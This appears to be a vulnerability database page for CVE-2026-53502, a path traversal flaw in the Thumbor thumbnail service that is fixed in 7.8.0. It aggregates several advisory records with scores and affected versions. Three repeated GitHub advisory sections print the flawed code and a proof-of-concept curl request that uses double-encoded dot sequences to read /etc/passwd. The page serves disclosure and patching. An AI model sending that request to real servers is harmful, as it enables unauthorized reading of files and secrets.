Every CVE Search/ Get API key

CVE-2026-53502

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

8.7 HighFix available

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.52%Up 0.2 points since Aug 1, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
CVE-2026-53502
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-51612 8.7

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
EUVD-2026-51612
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-cj54-hpcc-gj6h 8.7

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

  1. %252e%252e arrives at Tornado, decoded to %2e%2e
  2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
  3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
  4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
  5. startswith(ROOT) = True (passes check)
  6. exists() returns False (literal %2e%2e dir doesn't exist)
  7. unquote() converts %2e%2e to ..
  8. OS resolves .. → reads files outside ROOT

Prerequisites

  • LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
  • ALLOW_UNSAFE_URL = True (this is the default)
  • watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Record
GHSA-cj54-hpcc-gj6h
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
NVD 8.7

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
CVE-2026-53502
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-22
Updated
2026-11-02
OSV 8.7

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
CVE-2026-53502
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVDEBIAN-CVE-2026-53502 8.7

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
DEBIAN-CVE-2026-53502
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-cj54-hpcc-gj6h 8.7

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

  1. %252e%252e arrives at Tornado, decoded to %2e%2e
  2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
  3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
  4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
  5. startswith(ROOT) = True (passes check)
  6. exists() returns False (literal %2e%2e dir doesn't exist)
  7. unquote() converts %2e%2e to ..
  8. OS resolves .. → reads files outside ROOT

Prerequisites

  • LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
  • ALLOW_UNSAFE_URL = True (this is the default)
  • watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Record
GHSA-cj54-hpcc-gj6h
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-3618 8.7

Thumbor has path traversal via post-validation URL decoding bypass in file_loader

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

  1. %252e%252e arrives at Tornado, decoded to %2e%2e
  2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
  3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
  4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
  5. startswith(ROOT) = True (passes check)
  6. exists() returns False (literal %2e%2e dir doesn't exist)
  7. unquote() converts %2e%2e to ..
  8. OS resolves .. → reads files outside ROOT

Prerequisites

  • LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
  • ALLOW_UNSAFE_URL = True (this is the default)
  • watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Record
PYSEC-2026-3618
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-53502 8.7

Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.

Record
UBUNTU-CVE-2026-53502
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
thumbor
PyPI
through 7.7.7
7.8.0
thumbor
Debian:14
before 7.8.0-1, plus listed versions
6.3.2-36.3.2-46.5.1-16.5.1-26.5.1-3
Show 11 moreShow less
6.5.1-46.5.1-56.5.1-66.5.1-76.7.0-17.7.7-17.7.7-27.7.7-37.7.7-47.7.7-57.7.7-6
7.8.0-1
thumbor
PyPI
before 7.8.0, plus listed versions
4.1.34.10.04.10.14.10.24.10.3
Show 45 moreShow less
4.11.04.11.14.12.04.12.14.12.24.4.14.5.34.5.44.6.04.7.04.7.14.8.04.8.14.8.24.8.34.8.44.8.54.8.64.9.04.9.15.0.05.0.0rc15.0.0rc25.0.15.0.25.0.35.0.45.0.55.0.65.1.05.2.05.2.16.0.06.0.0b16.0.0b26.0.0b36.0.0b46.0.0b56.0.16.0.26.1.06.1.16.1.26.1.36.1.4
7.8.0
thumbor
Ubuntu:26.04:LTS
All versions, plus listed versions
7.7.7-47.7.7-5
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-53502 is a high vulnerability (CVSS 8.7) in Thumbor, published July 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in thumbor 7.8.0.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: 68 versions. The JSON record has them.

MoveEnter Open